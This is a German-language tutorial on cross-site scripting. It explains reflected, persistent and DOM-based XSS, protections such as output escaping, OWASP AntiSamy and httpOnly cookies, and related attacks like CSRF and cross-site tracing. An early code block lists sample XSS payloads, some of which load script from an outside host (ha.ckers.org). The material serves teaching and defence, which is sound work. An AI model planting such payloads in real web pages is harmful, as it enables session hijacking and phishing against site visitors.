Cross-Site Scripting

Die Gefahr für XSS besteht immer dann, wenn eine Webanwendung Benutzereingaben ungeprüft an den Browser weitersendet. Auf diese Weise kann der Angreifer auch schadhafte Skripte im Browser der Opfer unterbringen.

XSS ermöglicht u.a.

- Entführen der Session
- Website Defacements
- Phishing
- die Kontrolle des Browsers

Einbinden von JavaScript

Neben Javascript existieren noch weitere Scriptsprachen Für den Browser: Die Microsoft-proprietären JScript und VBScript sowie zukünftig Dart für Chrome. Dieses Dokument geht auf das mit Abstand am weitesten verbreitetste JavaScript in. Einige Möglichkeiten[1]:

```
<script type="text/javascript">alert("XSS");</script> // Triviales XSS
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>      // Script von fremder Seite
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">              // kaputter img-tag
<BODY ONLOAD=alert('XSS')>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>   // eigene Dateiendung
```

Angriffsarten

1 Reflexiv bzw. Nicht-pesistent

Die im Request an die Webanwendung gesendeten Daten werden von dieser nicht dauerhaft gespeichert, sondern nur dazu verwendet eine Antwortseite (Response) zu generieren.
Enthält der Request nur GET-Parameter, muss lediglich die URL vom Opfer geöffnet werden. Sind auch POST-Parameter nötig, muss das Opfer zunächst ein vom Angreifer präpariertes Formular absenden (Klick auf Bild genügt).

Beispiele:

Eine Website-Suche antwortet: "Keine Ergebnis für »*Suchbegriff*«".
Ein fehlerhaft abgesendetes Formular antwortet "»*Suchbegriff*« ist kein gültiger Nachname".

2 Persistent

Die Benutzereingaben werden ungefiltert gespeichert und später i.d.R. bei jeder Anfrage ungefiltert und für Alle Anwender ausgegeben.

Beispiel:

Das Gästebuch einer Website ist für alle Besucher frei zugänglich. Gelingt es einem Angreifer in einer Grußnachricht schadhaften Code unterzubringen, sind alle späteren Betrachter potenzielle Opfer dieser Attacke.

3 DOM-basiert bzw. lokal

Bei dieser dritten und eher seltenen Angriffsart spielt der Server keine Rolle. Grundlage für so einen Angriff ist, dass das Clientseitige JavaScript selbst den schadhaften Code einfügt. Wieder muss der Angreifer das Opfer lediglich dazu bringen einem (oft verschleierten) Link zu folgen.

Beispiel:

Das Script auf einer HTML-Seite berechnet den Body Mass Index (BMI) anhand der URL-Parameter aus: …`BMI.html?size=»size«&weight=»weight«`
Beim Aufruf der Seite schreibt das Script das Folgende ins DOM:
Sie sind `»size«` cm groß und ihr Gewicht beträgt: `»weight«` kg.
Das ergibt einen BMI von …

---

[1] Quellen: http://ha.ckers.org/xss.html, Getestet mit Chrome 18 und Firefox 5

Schutz vor XSS

Encode and Escape

Durch das Escapen der auszugebenden Zeichenketten kann der Großteil potenzieller Gefahren abgewendet werden. Je nachdem, an welcher Stelle der Text ausgegeben wird, bieten sich die folgenden Möglichkeiten:

- HTML Entity Encoding
- JavaScript Escaping
- CSS Escaping
- URL Encoding

In jedem Fall sollten zumindest die in der jeweiligen Domäne dafür vorgesehen und vorgefertigten Funktionen verwendet werden. Zusätzlich könnten noch Webserver-Filter dazu geschaltet werden.

HTML-Eingaben sicher filtern

Es kann vorkommen, dass man dem Anwender HTML-Tags erlauben möchte (z.B. bei Forumseinträgen). In diesem Fall sollte man die Eingaben durch eine HTML policy engine, wie z.B. OWASP AntiSamy laufen lassen, um sicherzustellen, dass es sich nicht um XSS handelt.

Cookie Security

Um zu verhindern, dass Angreifer über gestohlene Cookies an die Session der Anwender kommen, könnten diese bei der Authentifizierung des Users an dessen IP gebunden werden. Solange Angreifer und Opfer nicht über den selben NAT surfen ist die Gefahr gebannt.
Zusätzlich unterstützen mittlerweile alle modernen Browser das HTTP flag `httpOnly`. Durch Setzen dieses flags, kann via JavaScript nicht mehr auf das Cookie zugegriffen werden.

Schutz für den Anwender

Obwohl noch ein gewisses Restrisiko besteht (`<IFRAME SRC=…/>`), bietet den mit Abstand besten Schutz gegen XSS das Abschalten von JavaScript im Browser.
Für die allermeisten Anwender kommt das allerdings nicht in Frage, da viele Inhalte dann nicht mehr wie beabsichtigt funktionieren.

Abgrenzung zu namensähnlichen Angriffen

Cross-Site Request Forgery

Der Angreifer bringt das Opfer dazu, eine Transaktion auf eine Webseite durchzuführen und bleibt so selbst unerkannt. Kann mittels XSS realisiert werden.

Cross-Site Authentication

Bei XSA bindet der Angreifer ein mit HTTP Auth gesichertes Bild einer fremden Website in seine Website ein. Beim öffnen der Angreifer-Website wird der Benutzer vom Browser zur Eingaben von Benutzername und Passwort aufgefordert, der Angreifer kann diese Informationen mitloggen.

Cross-Site Cooking

Bei Cross-Site Cooking wird eine Browserschwachstelle ausgenutzt, die es erlaubt, die Cookies für einen anderen Server zu setzen.

Cross-Site Tacing

Im Browser des Opfers wird ein HTTP TRACE Request auf eine beliebige Website abgesetzt. Ein TRACE Response beinhalten den Request und somit auch die Cookies. Diese können mit JavaScript herausgefiltert und an den Angreifer gesendet werden